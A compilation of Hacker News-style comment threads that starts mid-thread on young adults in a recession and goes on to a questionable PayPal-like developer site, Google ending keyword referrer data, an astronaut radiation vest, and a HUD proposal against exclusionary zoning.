Luckily, I happened to like computers anyway, and learned quite a bit of programming on my own. Plus, by sophomore year I'd basically figured out this was bullshit and employers really _do_ care about concrete skills. But had I not been interested in programming as a hobby, things could've turned out very differently for me. I considered majoring in sociology, after all. ;-)

<comment><USER9> _"Just get a degree. It doesn't matter what it's in"_

I wonder who has a better chance of getting a job at Google: a history major from Stanford or a CS major from , say, CSU Chico?

<comment><USER6> That's an interesting point. I suspect it depends a lot upon their concrete programming skills as demonstrated in the interview. It's funny how my first reaction - even as someone who always says "Your degree doesn't define you, and talent will find jobs no matter where you went to school" - was to assume that the Stanford history major is much smarter than the CSU Chico CS major, and just happened to pick the wrong major. But that's not necessarily true: maybe the guy from Chico is a Zawinski-class programming genius that happened to grow up in a family with no money and no college expectations. The point of the interview is to tease out circumstances like that so talented people from bad situations can rise to the top anyway.

It's also interesting because I know some Amherst history majors that I could never imagine getting a job at Google. But I also know an Amherst Asian Languages & Civ major who _does_ work at Google, albeit in a non-technical position. Yet I don't know anyone at Google from a CSU: my friends here are from Rice/Brown/Brown/Amherst/Stanford/Berkeley/ Stanford/UChic/Cornell/Berkeley/Berkeley/ CMU/Duke/UCSD.

<comment><USER10> I got into Google from Iowa State. But then, I was an employee referral because of someone I met interning at Microsoft. I don't think I would have gotten the Microsoft interview coming from Iowa State if I wasn't a girl. Microsoft hired four interns from Iowa State that year, all female.

</comment></comment></comment></comment></comment></comment></comment><comment><USER11> This 25 year old is keeping his day job (server admin/help desk) with a friendly boss who doesn't mind him working after work. I'm doing business/computer consulting after 5pm and on the weekends and am currently involved in a few projects for websites and small business server infrastructure. I've got very little credit card debt (under 2k - <USER2> operating expenses) and even though I never finished college I still have about 8k in student loans but should have them paid off in a few years. I save about 30% and have recently had to apply some of that to take on some extra family related expenses as my folks have been hit a lot harder then I have.

I can't say I'm enjoying the economic climate and watching all layoffs (At my day job and with my friends and family) but Its motivated me to take some hobbies and work that normally took a lot of energy and figure out how to do more with them. I can now go from sales/brainstorming to invoicing a lot faster and easier then I could even just a few months ago. I think that will pay off in the long run.

Also, saving now, and putting into my 401k and roth/IRA's should help a lot when I'm older. I'm glad I can put money in markets now when they're low! (and I'm lucky I got confused and pulled out about 2 months before markets crashed! They weren't making any sense to me.)

</comment><comment><USER12> Well, I'm in an interesting situation here.

24, married, no kids, 1 dog. We're both planning on quitting our jobs in the summer with no direct plans for seeking employment. Quite an interesting situation.

I've got my products released and am working on some bizdev leads that have a high probability to go through.

We have been looking for jobs in our new location; however, it's been our experience that it's a much higher probability of success to start a business than go kissing ass and submitting resumes.

So we're at a big inflection point. We're either going to be living with one set of parents (which we have discussed and are prepared for) or we won't have to worry about money for the next several years.

I've always thrived on volatility, and my wife and dog are just along for the ride.

</comment><comment><USER13> 23 year old here.

Girlfriend and I are moving to a different city (Montreal) in July. I leave my job in June but gave huge advanced notice.

Everyone around me keeps asking if I've found a job yet and they always cringe when I say "No." To be fair, I haven't sent out TOO many resumes but I'm starting to pick up the pace.

One side of me just wants to forget about senidng out the resumes and try my hand at freelance work, consulting, and whatever else I can think of to make money. Work from home and try something totally new and exciting. I have savings an the GF will be going to school so the government (loans for university) + part time job will keep her money in check.

It's definitely scary I'll say. Like the one comment said, you could have done everything right but in the current situation you may not get anything that you could have 5 years ago. I say forget about all that and just go full force into trying it out.

We twentsomethings are young and we can always bounce back a few times before we end up on the streets :)

</comment><comment><USER14> Ah, yes... the recession. I keep hearing about it, but I'm just not feeling it.

</comment><comment><USER15> I always wondered if I did the right thing by accepting my parents offer to pay for college if I stayed at the home school. (I started at a community college, and transfered to a local university.) Then, I looked at the fact that I was a commuter and never "had the college experience." Now, I am grateful for the complete lack of debt I have today.

<comment><USER11> Yea, but they have the debt. It's still in the family. Heck it's still in the community, and the city. The biggest problem I'm having now is dealing with people who are making money but can't afford to pay all their bills. It's usually because they have some debt left over from when they were making more money, or when projections looked a lot better then they are now.

It's fortunate you aren't immediately bound by the debt of school, take advantage of it. But the debt does still exist.

<comment><USER15> The debt doesn't exist -- my parents paid up front from savings bonds they had been buying for a decade precisely for my education. Between 97 and 2001, my education costed approximately 2000 dollars for the community college portion, and 10,000 for the university portion. I lived at home and worked to pay the additional expenses.

</comment></comment></comment><comment><USER16> I am continually saddened by all the people who knew their jobs were superfluous, who knew all they did was push paper & supply a warm body, who are surprised when they are laid off. And surprised at the businesses for overstaffing (while still probably providing a low standard of service.)

Sure, lots of laid off folks truly did generate value. Not all are like the people I described. But there are lots of them, on both sides (employer & employee).

</comment><comment><USER17> Suck it up!</comment>


SimplyPayPal : Did PayPal just get more dev friendly? - <AUTHOR> https://dev.simplypaypal.com/

<comment><USER2> A parked GoDaddy domain with a subdomain that has an invalid certificate? I'm going to go with… no.

<comment><AUTHOR> I can definitely tell you I saw a working website there during a hackathon yesterday. It was much similar to Stripe and provided a much nicer experience.</comment></comment>


Google Has Ended a Bunch of Free Data - <AUTHOR> http://finance.yahoo.com/news/google-gone-dark-search-giant-142955454.html <comment><USER2> It's kind of stupid to react positively to this news just because you hate marketers or ads. The truth is that incoming keywords from Google provide a whole host of functionality and analytics for site owners as well. (I realize they offer Webmaster Tools, but the fact is that getting incoming keywords for individual visitors provides all kinds of leverage for personalization, improving SEO, and understanding user behavior that aggregated, offline reports will never come close to doing.)

The fact Google is still providing this data to people who do paid advertising shows this isn't about privacy at all, but is about closing off a valuable source of information for some other reason, most likely just under the guise of privacy.

At a high level, it's not clear that this type of information being "leaked" to sites was ever anything other than a function of the way Google worked from v1, where the query was passed as a GET parameter. So it's debatable if this was a good design decision in the first place. But Pandora's box was opened. Due to this design decision an absolutely immeasurable about of code has been built around this source of information (for good and evil) and calling this a "data apocalypse" isn't really that hyperbolic for people relying upon it.

<comment><USER3> > The fact Google is still providing this data to people who do paid > advertising

By "this data", I presume you mean "traffic data grouped by keyword"? Or are you saying that the search query is passed unfiltered along with the request for individual ad clicks?

AdWords can provide aggregate keyword traffic data easily without compromising privacy.

In order for Google Analytics, and similar software, to provide aggregate keyword traffic data, the data would have to be bundled with each request. The more data a website receives about you simultaneously, the less privacy you have. Previously, a website would get your IP address, your user agent and your search query, and at the same time have the ability to inject a tracking cookie. The IP address I use is registered to me in RIPE, so in my case it would be trivial to connect my search term to my name and address. If I visited unencrypted sites, secret agents monitoring the Intertubes would be able to store my search queries. Is this kind of data really available in AdWords?

<comment><USER2> I actually haven't verified personally if the keywords are passed along with ads, I was going by the claims made in the article.

If you are concerned about your keyword data being aggregated and stored based upon referrals and associated with IP, I have bad news for you. This data has been being aggregated and cross referenced not only by sites and advertisers but also third party aggregators for more than a decade.

</comment></comment></comment><comment><USER4> People are freaking out -> Marketers are freaking out. Ended a bunch of free data -> Increased users' privacy.

Seems like a win to me.

<comment><USER5> My side business depends on SEO, but I also care enough about privacy to use DuckDuckGo (which also doesn't share keyword data), so I'm ok with the decision overall. Webmaster tools is pretty sufficient.

Privacy has trade-offs. Marketers/data miners will have to adapt to it if their customers demand it.

<comment><USER6> I almost never click on links, I retype them or copy/paste them into the search bar. You really have no idea where you're about to go or what extra data will be tacked on otherwise.

Edit: sorry this is unclear; I am talking about search engine result links. Of course within a site or app I do click links though even then I often glance at the status line to see what's about to happen.

<comment><USER7> What? How is that possible without JavaScript? And javascript is trivial to switch off or control.Copying and pasting links. That's nearly as hardcore as browsing websites Stallman way.

<comment><USER6> I clarified above, I'm mostly talking about search engine result links. Yeah with most javascript-heavy sites, doing this everywhere is impractical.

</comment></comment></comment></comment></comment><comment><USER8> It looks like they just enabled SSL for all users, which is defnitely a GOOD thing. These SEO people are confused because I guess it limits some data they would've normally got, but it's a byproduct of them turning on SSL. It's not some campaign by Google to limit SEO data except insofar as it gets limited by SSL being on.

<comment><USER9> This isn't a byproduct of turning on SSL. If both Google and the site linked to by Google are secure, then the referrer would be intact, and contain the search terms, which is where Google Analytics and every other tracker has picked them up for 15+ years.

Google purposely added another level of indirection between their search result page and the search result links themselves. When you click, a bit of JavaScript rewrites the link to a script at google.com/url in order to wipe the real referring URL. Should Google want to do that for reasons other than masking search terms, like recording clickstream data from their SERPs, they could easily add the search term to that google.com/url link's query string. That's exactly what they do for ads -- they transfer search terms through the redirect's referrer even on SSL connections.

<comment><USER8> It's been this way for a quite a while though, now the only difference is that SSL is enabled for a larger number of people. Also adding the search terms to the url would defeat the whole purpose of using SSL for search at all.

<comment><USER9> If the _whole purpose_ of these changes was to hide the search term from website owners, then turning on SSL everywhere wouldn't be required at all. That was already accomplished with the redirection between the SERP page and the clicked link, which was put in place before SSL was turned on everywhere.

There are other purposes. Like preventing governments from recording your long-term search history without a warrant. Frustrating that purpose requires SSL but doesn't require wiping the search term from the referrer as well. It would never be transmitted across an encrypted->unencrypted connection transition per the HTTP spec.

</comment></comment></comment></comment><comment><USER10> If this discourages "marketers" from using the web it sounds like a win to me.

<comment><USER7> Not again. If marketers stop using the web there is no web. There is no Google, bing, twitter, Facebook, reddit,stack overflow, hordes of startups that use ads to monetize, plethora of blogs and therefore VC companies and whole startup ecosystem would bust.

Do I want a more efficient system of transfer of commercial information? Yes. Is there is better system than marketing at the present moment? No.

One of my hats is a marketer and I am shocked how the industry is misrepresented here on HN and on reddit. The level of arguments is comparable too.

<comment><USER11> > If marketers stop using the web there is no web.

There was a web before marketers.

I liked it.

<comment><USER7> Then you are one selfish dude or dudette. I will endure some cognitive noise aka ads if that means more web for everyone.

And you know what? 50% of ads I see are from edx,new relic, code school,treehouse, engineyard, heroku and I am very ok with that,

<comment><USER11> No need to be hostile. I'm not threatening your livelihood.

Nor am I trying to change your opinion or influence your thoughts to suit my agenda.

But I do confess: I wouldn't be disappointed if that was a common courtesy.

<comment><USER7> Any oral or written communication between humans or machines has a probability P to influence thoughts or opinions of human agents engaged in communication or machines that are able to learn.

Marketers are increasing P to reach their business goals. Actions taken to increase P may have positive or negative externalities. For example, edX uses Google Adwords and remarketing to spread awareness about free moocs from Harvard, MIT, etc. This is an example of an action with a positive externality. Thus I demonstrate that subset of marketers that are trying to change opinions is beneficial to society, even if they are pursuing their own agenda.

I respectfully reject your statement that you are not trying to change my opinion or opinions of other HN readers. See my first argument for justification.

<comment><USER11> Even the most heinous of brutalities can have positive externalities. You're really wrapped up in the defense of your point, but you're not arguing it effectively. I wish your example was relevant.

Don't worry, everything is going to be fine. This decision was made long ago. I remember the day. Nothing I or anyone on HN can do will change that.

However, I do take issue with your assertion that the web was built on marketing. It really wasn't.

<comment><USER7> Yeah, perhaps I am not arguing my point effectively. I am not trying to convince you, though. I am trying to convince other HN users that might see our discussion.

And I never asserted that web was built on marketing. Marketing is an emergent property of social systems in general and web in particular. You cant banish marketing, but you can amplify the good aspects. And to do that you've to have a rational discussion on the subject. Which I dont see _even_ on HN.

Your condescension is not lost on me and thats fine. But your second line sounds just like something fictional illuminati member in a Dan Brown book would say. What day do you remember, again?

<comment><USER11> The day I remember is the day when the NSF announced their scheduled withdrawal from oversight of the Internet, and the corresponding end of the prohibition of commercial use of same. 1994?

You asserted a tight relationship between the _existence_ of marketers and the _existence_ of the web. The direct quote is visible above, but I see that it can be interpreted more than one way. Let's assume you meant to say that "the web would be radically altered if it wasn't an advertising medium". Then, we can agree.

You have a good point: the amplification of the good aspects of marketing is a worthwhile goal. It's not going away, so is it possible to make it suck less?

The problem with your argument, in my eyes, and the cause for my lapse into condescension, for which I apologize, is that your examples are so extraordinarily cherry-picked that they seem absurd to bring up.

Advertising, even at its best, is a distraction from my intent. This is _generally_ a negative thing. It's pretty important, but I'm not so fragile that it's going to derail my whole afternoon. But it's not ingratiating, and it's not necessary. You were arguing for the "necessary" angle, and I think we won't reach agreement on that one.

<comment><USER12> This may be an overly pedantic point, but marketing != advertising.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER13> That's good news.

I'm not sure which scares me more. Marketers amassing surveillance data or the government. At least with the government, we might reign in the practice. Private industry seems to have some blessing from the public to do anything and everything profitable.

<comment><USER14> Governments have an exclusive sanction to employ violence. Private entities do not.

<comment><USER15> Blackwater (and other similar entities) would probably disagree.

<comment><USER11> You buried your point in pithiness.

Blackwater (XO) is acting at the behest of, and on the payroll of, government.

</comment></comment></comment></comment><comment><USER16> Google wants website owners to use Webmaster Tools so that it can connect websites with individuals. The end goal is to make it harder for people to manipulate search results in a way that would result in an inferior user experience for searchers.

For many years, Google has been a gold mine to a profession called "SEO". It still is, but every single day it is getting harder to extract value from it if all you do is trying to get your site to the top of the SERPs. Eventually it will be very expensive to trick Google and this is why I see many professional SEOs starting work at big brands or doing consulting for them. It's easier to get good rankings for a site that provides great value to users than for another spammy endeavor.

I was also involved in this business many years ago, but mainly to rank my sites that were getting traffic anyway because of the value they provided to users. Instead of being angry, I think that SEOs should be thankful that Google made it possible for them to take advantage of their service and even helped them along the way — I am. There is nothing wrong in charging people money for services that they use to make money themselves.

SEO should always only be a tool that helps you reach users with your quality product, not your main way of making a living because in itself it creates no value to society.

<comment><USER7> Ugh. Someone is wrong on the internet and I just can't ignore that.

SEO doesn't create value for the society? That is an extremely bold claim. Guest posts, infographics and other form of viral content are a very common tools for so these days. They create immense value for content consumers and that's the point. SEO is very much white hat these days in the anglosphere due to superior Google search spam detection algorithms. There are black hats, of course but they are not a defining market force for a long time already.

</comment></comment><comment><USER17> "If a website is accessed from a HTTP Secure (HTTPS) connection and a link points to anywhere except another secure location, then the referrer field is not sent." [http://en.wikipedia.org/wiki/HTTP_referer](http://en.wikipedia.org/wiki/HTTP_referer) whose source is "Hypertext Transfer Protocol -- HTTP/1.1: Encoding Sensitive Information in URI's (RFC 2616 § 15.1.3)". IETF. June 1999. Retrieved 2013-03-20. "Clients SHOULD NOT include a Referer[sic] header field in a (non- secure) HTTP request if the referring page was transferred with a secure protocol" [1]

Easy fix: Enable SSL everyone, stop "freaking out".

[1] [https://tools.ietf.org/html/rfc2616#section-15.1.3](https://tools.ietf.org/html/rfc2616#section-15.1.3)

Edit: I see comments further up indicating that Google redirects from SSL to non-SSL, thereby obfuscating the referrer and that this is new. If so, I'll have to take back this statement, sigh.

<comment><USER9> The search term is not in the referring URL, SSL or not. Google removed it from organic search, by a combination of moving it out of the query string into a URL hash, and by adding a level of redirection between the search result page and the linked website.

<comment><USER17> Ahh true. Instant did change things, didn't it? I'm still used to omnibars that hide the URL from me on Google searches that I forget it's not all /search?q= any more. Good point, good point.

Though, given Google's native apps, perhaps this was inevitable? I mean, there was always a percentage of traffic that would seem organic yet be from Google...

</comment></comment></comment><comment><USER18> >It's a contradiction, according to Rishi Lakhani, a search consultant:

>... their idea of privacy is ridiculous to say the least. You can't offer privacy, but still SELL the data to AdWords advertisers. It's the same user. It's the same action.

The idea that clicking on an ad is the same thing as clicking on a link is where I'll have to disagree with this guy.

<comment><USER2> This is a pretty shallow analysis of his point. His point is that _insofar as it related to the privacy of propagating keyword information_ , the action of a user clicking an ad or an organic search result doesn't seem any different. If the keywords a user searches for is private information, then why should this privacy be off the table when they click on an ad?

</comment></comment><comment><USER19> If this is about privacy, what about stop capturing search data _at all_? Eliminate all user personalization and search history, as if you weren't logged in. No more privacy issues, NSA court orders, etc.

Of course, this won't ever happen. This is not about privacy. This is about _posing_ as a company that cares about privacy. It's easier to deal with some upset marketers rather than governments pushing for stronger regulations and anti-tracking measures, given the total lack of self-regulation (third-party cookies, anyone?).

</comment><comment><USER20> FYI search terms have been disappearing since a Google update in October 2011. More than 95 percent of keywords have been marked as "Unknown" on my sites for the last 6 months.

You can still make a good guess at what terms are leading people to your site by the number of impressions on Google you get for a certain search term. To discover this go to Analytics > Acquisition > Search Engine Optimization > Queries.

</comment><comment><USER21> So do unto Google as Google does unto others, in a way at least.

I perform all my Google searches while remaining logged out from Google. More importantly, I use Firefox/Chrome plugins that rewrite Google search results minus their tracking. In a way, I've gone "dark" to Google too.</comment>


A Wearable Vest Can Protect Astronauts from Radiation in Deep Space - <AUTHOR> https://www.lockheedmartin.com/en-us/news/features/2016/stemrad-vest-space.html <comment><AUTHOR> Bonus points for the GIF animation featuring Dr Manhattan</comment>


A proposal to roll back exclusionary zoning would make housing more affordable - <AUTHOR> https://www.bloomberg.com/view/articles/2018-09-12/ben-carson-and-hud-get-ready-to-take-on-the-nimbys <comment><USER2> In Japan, zoning is handled federally; and the result is much more affordable cities.

"Why Tokyo is the land of rising home construction but not prices" [https://www.ft.com/content/023562e2-54a6-11e6-befd-2fc0c26b3...](https://www.ft.com/content/023562e2-54a6-11e6-befd-2fc0c26b3c60)

An overview of zoning practices there: [http://urbankchoze.blogspot.com/2014/04/japanese- zoning.html](http://urbankchoze.blogspot.com/2014/04/japanese-zoning.html)

<comment><USER3> Federal zoning would be really difficult to get done constitutionally, but state level zoning wouldn't be as hard and would have most of the same benefits, ie. reducing the power the nimbys.

However there's no reason to think that would fix it all, transportation planning, design, and funding is almost entirely a state and federal affair, and the nimbys still torpedo all sorts of things that would be great for the region at the expense of a particular neighborhood or block.

To some extent though, that's a feature of democracy, not a bug. There are a bunch of reasons we're in the mess we're in, and federal programs and subsidies contribute a lot. The threat to take away federal funding for places that don't accept housing growth may be more effective than a brute force approach in the end, who knows.

<comment><USER4> Right. There's no need to take this "all the way to the top" (ie Federal). States can easily supplant the zoning powers of their local governments.

<comment><USER5> Won't happen. The Nimbys have all of the money and can influence the votes in extraordinary ways. Look at Seattle, they won't budge and we have an enormous amount of single family housing. Our mayor is also nearly entirely useless as well, and seemingly only cares about sports teams.

The amount of propaganda that would be pushed out to crush any changes to zoning would be on historic levels.

<comment><USER6> AB 2923, which overrides local zoning in order to allow BART to develop on its parking lots, recently passed both houses in California, despite NIMBY objections. And the Housing Accountability Act, which NIMBYs loathe, has long been law (and was even strengthened relatively recently).

Renters are a growing political force.

<comment><USER7> > Renters are a growing political force.

Renters (often under rent control) are NIMBYs as well, don't understand or are convinced that supply and demand don't apply to housing.

<comment><USER6> > Renters (often under rent control) are often NIMBYs as well

This is a very SF-specific view of the world. :)

Rent control is specific to just a handful of locations and is often subject to statewide restrictions (e.g. Costa-Hawkins). In _general_ , renters are less inclined toward NIMBYism. This is especially true for the younger ones, who don't benefit as much from RC even in the locations where it exists. And even rent controlled tenants don't like the fact that they can't move.

<comment><USER8> It applies beyond just California. It's in NY as well, and I wouldn't be surprised if there were more locations.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> The charts at the top are eye opening. More and more of our income is going to pay for pieces of land. Unlike computers, TVs, and even troublesome areas like healthcare the land is not getting better and better. It's instead a purely zero sum game.

We probably can't eliminate the scourge of land rents altogether but we can stop making the problem worse by putting in place more and more policies designed to raise housing prices rather than lower them. Such policies are exactly the opposite of what the government should strive for.

<comment><USER10> Because we can make more computers, execute more healthcare services, etc. Land is a zero sum game; we have a fixed amount, and while it's possible to create more, it's prohibitively expensive to do so.

Add to it, land is the primary method by which "old money" remains in that category.

<comment><USER11> _> Land is a zero sum game; we have a fixed amount, and while it's possible to create more, it's prohibitively expensive to do so._

Yes, but that sum in the US is _huge_. Drive around the midwest or any region outside of an urban core and its empty space as far as the eye can see.

The problem is large-scale economic and demographic changes. The US used to have:

* A culture that prized living in suburbia away from dense areas.

* Labor-intensive agriculture that provided a lot of jobs in rural areas.

* Labor-intensive manufacturing that provided a lot of jobs in a large number of smaller cities.

All of those forces encouraged the population to spread out. Those forces are evaporating. The suburbs are now seen as soulless sources of miserable commutes. Automation and consolidation has dramatically reduced the number of farm employees needed for a given square acre of land. Automation and cheap imports from other countries have eliminated manufacturing jobs.

Without those forces counterbalancing things, there is a strong trend towards consolidating into large metropolises which can't absorb the growth that quickly.

We can try to stuff every more dense housing in those cities and gradually turn them into concrete boxes. Some amount of densification is good. But instead of investing almost entirely in that, I really wish the US was working to try to make small and mid-size cities more desirable too.

<comment><USER7> > large metropolises which can't absorb the growth

They choose not to.

> more dense housing in those cities… turn them into concrete boxes

A "US NIMBY-like" viewpoint. Paris is denser than the average city and lovely, as are many EU cities. US cities designed before the car took over usually nicer and more space-efficient as well, but are few and mostly on the East coast.

</comment></comment></comment></comment><comment><USER12> I live on Long Island, and it is expensive. Schools are funded mostly through high property taxes. It is nearly impossible to get high density housing approved for working age people. The constituents want only 55+ for complexes so they can reap the school tax benefits without more students.

So this in effect keeps affordable housing out as developers either build 3000+ sq foot "luxury homes" or 55+ communities.

<comment><USER13> Oh, smart move! Never thought of using that strategy to get advantaged school funding.

</comment></comment><comment><USER14> If you want to make housing affordable you will need to reckon with this: [http://positivemoney.org/wp-content/uploads/2013/04/UK- House...](http://positivemoney.org/wp-content/uploads/2013/04/UK-House- Prices-1997-2014.png)

House prices move with mortgage credit growth. Credit growth is one of the key pillars of the politically sustained Ponzi-scheme that is the modern urban housing market.

<comment><USER15> Banks love mortgages because they are easy, safe ways to earn a bit more than the federal rate.

Wealthy consumers love mortgages because it's a cheap way to leverage a huge asset for market-rate returns.

Normal consumers love mortgages because it allows them to buy a house.

Good luck taking that away.

Additionally, while access to credit raises housing prices, there's no guarantee that removing access to that credit will in any way make housing more affordable for moderate- or low-income people. More people would be forced to rent and it's possible that the wealthy apartment owners will engage in rent seeking and rents will just raise to match or exceed the cost of a mortgage.

That will rob lower income people of their biggest opportunity for wealth creation (housing appreciation) and increase wealth inequality.

<comment><USER16> But you're ignoring the fact that people are already being priced out of the housing market. The market only continues to gain steam while the next generation can reasonably shoulder the burden being placed on them by the previous. Otherwise those assets are going to deprecate. Credit allowed a handful of people to become incredibly wealthy by becoming rent seekers, while most people didn't realize they had the opportunity. The general consensus seems to be "Tough shit if you weren't born in the 60's - 70's". I don't see that ending well for the economy as a whole.

<comment><USER17> Yes. Here in the UK, I have a lot of sympathy with the view that Corbyn's Labour would deliver debt-funded jam today by dumping the burden onto future taxpayers, but the Conservatives have been doing the _exact same thing_ for their own clients, via property inflation.

<comment><USER14> "Land by its nature is scarce. A site in Mayfair cannot be reproduced like a pair of shoes. The monopoly rent it commands plays no productive role. It acts as a private tax on the productive economy. The question has always been what can be done about it." [1]

I posted that quote because it's the reference I found most speedily to the idea that high land prices impose private (i.e. paid into the private sector) taxation, rather than public. You didn't make the distinction between public vs private taxation in your comment and I thought it should be made.

Public taxation is also involved of course, e.g. when governments need to bail out the banking system; Help to Buy in the UK; etc.

[1] [https://blog.p2pfoundation.net/how-land-property-is-tied- to-...](https://blog.p2pfoundation.net/how-land-property-is-tied-to- inequality-the-uk-example/2014/10/24)

<comment><USER17> > _high land prices impose private (i.e. paid into the private sector) > taxation, rather than public_

Agreed, though I'm not sure that's much consolation to the ones paying it. With public taxation at least you can hope you're helping to fund something useful.

<comment><USER14> Indeed!

BTW, you mentioned reservations about possible overspending by Corbyn's Labour. I'm encouraged however by the noises they're making about productivity, e.g. in a recent report:

"The report's guiding idea is to encourage finance to flow towards productive investment rather than speculation in property. This reflects an old complaint about the City of London: it is a global entrepot with little interest in promoting productive investment in the UK." [1]

And here is a very good primer on the important distinction between productive and unproductive credit. [2]

[1] [https://www.ft.com/content/c59c189e-85b8-11e8-a29d-73e3d4545...](https://www.ft.com/content/c59c189e-85b8-11e8-a29d-73e3d454535d)

[2] [https://youtu.be/N-FDdHj7rPk](https://youtu.be/N-FDdHj7rPk)

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> Seems like it could work. Nonsense local policies to encourage "affordable" housing like inclusionary zoning have been huge failures. In big cities, we just need way more housing. Yet NIMBYs fight it at every step, esp in SF.

<comment><USER19> You can't just add in "moar housing" in a vacuum and declare mission accomplished. Let's say SF doubled its housing. Where are all these new residents going to park? So, now it's housing and parking that needs to be fixed. Assume none of these new residents have cars? Ok now it's housing and public transit that needs to be fixed. Where are their kids going to go to school? So we need more school capacity, too. How much more water, sewage, electrical capacity will you need? How many more grocery stores will you need? Restaurants? Gas stations? Where will all this new development go?

<comment><USER20> Chicken-egg problem though. If you say transit doesn't go places or doesn't run often people claim the density is too low and we need more people to use it. Can't have the same excuses just used to block everything. Just start building everything, high density housing, dedicated bus lanes, multi-level parking garages, better utilities.

<comment><USER21> > _Just start building everything, high density housing, dedicated bus lanes, > multi-level parking garages_

I'd advise against this. We did that in Madison, and before we even got very far doing this, Mother Nature started to hint to us that it might not be a good idea.

Maybe there are places where you can just build Willy-Nilly. (I doubt it, but what do I know?) I suspect, however, most places are like Madison, just not quite as delicate. You probably have to be _REALLY_ careful about what you're building.

And even more careful about where you're building it.

<comment><USER22> > Mother Nature started to hint to us that it might not be a good idea.

Could you explain what you mean by this?

<comment><USER21> When we started building down what all the experts told us was an "under utilized" corridor, a bit of flooding appeared. Initially, when the rain would come down, you'd have to navigate through maybe 6 inches of water. Max. Annoying, but not necessarily cause for alarm. As we built more, and more down that corridor, it's gotten worse. Fast forward to today, and when the rain comes down hard you're navigating through maybe a foot or a foot and a half on a bad day in that area. It's also taking much longer to drain. (Nothing speaks to the folly of thoughtless building like high end, fancy restaurants, in gleaming new fancy buildings with sand bags out front that you have to jump over.)

So yeah, no new plans for any new massive footprint, high density buildings along that area in the near future. I suspect until they get this whole thing worked out. Point is that just digging out massive parking garages, paving over areas, building high density housing, it all sounds good on the surface. And it might be good for other cities? Who knows?

But we now have a better understanding that you need a more well thought out plan if you're a city built on a system of five lakes with a dam and locks system delicately balancing their water levels as it is.

</comment></comment></comment></comment></comment></comment><comment><USER23> > On Aug. 13, Carson proposed requiring that cities that receive federal > housing grants reduce their use of exclusionary zoning.

Question: is there anything stopping these cities from just deciding to decline federal housing grants? The biggest culprit in this issue is Silicon Valley. Do they really need Federal housing grants to make people want to move there? The issue is too much demand already.

If Carson forces the issue, I can absolutely see San Francisco's city leadership just declining grants instead of changing their zoning. That might be enough to get some people voted out, but it'll take a while.

<comment><USER24> HUD grants are a major source of funding for things like fighting homelessness. The city could decline them, but they would have to make up the difference.

<comment><USER23> Would they though? Are cities _required_ to make up the difference?

Problem: cities are artificially keeping housing prices up, pushing lower income people out in favor of the upper class. The housing market is forcing lower income people out of cities.

Solution: tell cities they have to stop artificially keeping housing prices up, or the federal government will stop subsidizing low income housing and subsidized loans.

If the goal is to gentrify your city and keep prices high, how is that a real threat? That solution is only a threat if you assume these cities aren't paying attention to what's happening at all, and I don't think San Francisco's leaders are that dim.

<comment><USER25> It isn't just about your city. If the working poor find it advantageous to live your city for one half way across the state that is less people to work the lower income jobs - now it is more expensive to get the toilets cleaned in the office. This raises your cost of living, and lowers it in the other city.

Of course how this all works out is very complex and messy and will take dozens of years before we see anything significant.

<comment><USER23> San Francisco has already found "ways" to deal with many of those issues. They can't afford wait staff anymore, so restaurants are switching to counter service[1]. A law firm started housing their lawyers in Texas and flying them in because it was cheaper than housing there [2]. Delivery drivers can't afford to work there, so they experimented with having robots do it instead [3].

It's been tremendously clear that San Francisco has become an experiment in seeing if you can still run a city while pushing out all the poor people. Its been worker infrastructure has been coming apart at the seams for years now and the city's leadership has made little attempt towards fixing it -- instead entrepreneurs are just trying to find ways to work around it. I have little confidence that threatening to pull federal housing funding will dissuade the city from their path.

1\. [https://news.ycombinator.com/item?id=17394551](https://news.ycombinator.com/item?id=17394551)

2\. [https://news.ycombinator.com/item?id=15874565](https://news.ycombinator.com/item?id=15874565)

3\. [https://news.ycombinator.com/item?id=15880100](https://news.ycombinator.com/item?id=15880100)

</comment></comment></comment></comment></comment><comment><USER26> Interesting...

At first, I thought nominating Carson for head of HUD was a very strange choice. He's a neurosurgeon. Why???

But then... He was Director of Pediatric Neurosurgery at Johns Hopkins, so he had some administrative experience.

Then, I realized that Ben Carson has one bit of very relevant life experience that no other HUD director has ever had: He grew up in The Projects.

I thought then that that might lead to something interesting. Seems I may have been right.

</comment><comment> temp-dude-87844 As with most things, engineering a blunt policy solution will lead to unintended consequences.

If this proposal goes into effect, by clobbering local zoning codes, anything with sufficient money behind it is going to get built. This typically means projects that optimize for the developer's ability to extract rent from residents: 3 or 4-story apartments with small unit sizes, basic finishes made to aesthetically look high-end, and bare minimum green space or community space. A common approach is to use high-end appliances, a one-time cost, to ask for higher rent. This is the sort of construction that pops up in American suburbia today, where there's sufficient demand, and gets adapted to a more "urban" form with flat roofs and minimal changes.

Despite many of these projects being built, there's a price floor beyond which the rent will not drop, because the developer has to make payments on loans and maintain a profit. Therefore, while housing affordability is sure to improve in some places where it's absurdly high, it won't meaningfully be altered in places whose urban form is predominantly suburban. This is doubly so because the plentiful supply of single-family homes offers an a low-cost way to get started as a landlord.

Developers also have a choice on where to build. If it's cheaper after expenses to assemble a large parcel in Morgan Hill or Tracy or Vacaville, build out the site, and charge those rents, than to do the same in West Portal, one of them isn't getting built.

<comment><USER27> This is right, and this is the problem with solely YIMBY/market urbanist approaches to housing. Developers will all chase tech workers who can pay significantly more money for housing, and the housing market is segmented enough that it doesn't really free up housing at the low end. See this article for more: [https://www.washingtonpost.com/business/economy/in- expensive...](https://www.washingtonpost.com/business/economy/in-expensive- cities-rents-fall-for-the-rich--but-rise-for-the- poor/2018/08/05/a16e5962-96a4-11e8-80e1-00e80e1fdf43_story.html?utm_term=.864b99668145)

We do need to build housing, but it can't all be "luxury" housing.

This should be familiar to people because it's happening in the commercial space, too. It's the same thing as when storefronts would rather sit empty and waiting for a Chase Bank to come along than accept the lower rents from some other shop. The Chase Bank will pay far more in rent.

<comment><USER28> Make providing e.g. 10% of the apartment capacity of a block as affordable / municipal-controlled housing a part of the building contract. Or make redevelopment of a "luxury" block tied to redevelopment of a less luxury block providing affordable housing (still net-positive for the development company, just much less lucrative).

That is, make affordable development a part of the price of luxury development if you must. Just don't stall the development completely.

This works best with large development companies and projects, though.

<comment><USER29> We have that. It's called "inclusionary zoning", and it's another thing the YIMBYs are trying to kill.

</comment></comment></comment></comment><comment><USER30> One thing to note is that it's the land itself that appreciates. The housing built on top of it generally doesn't. That is, structures generally depreciate unless labor and material costs rise significantly.

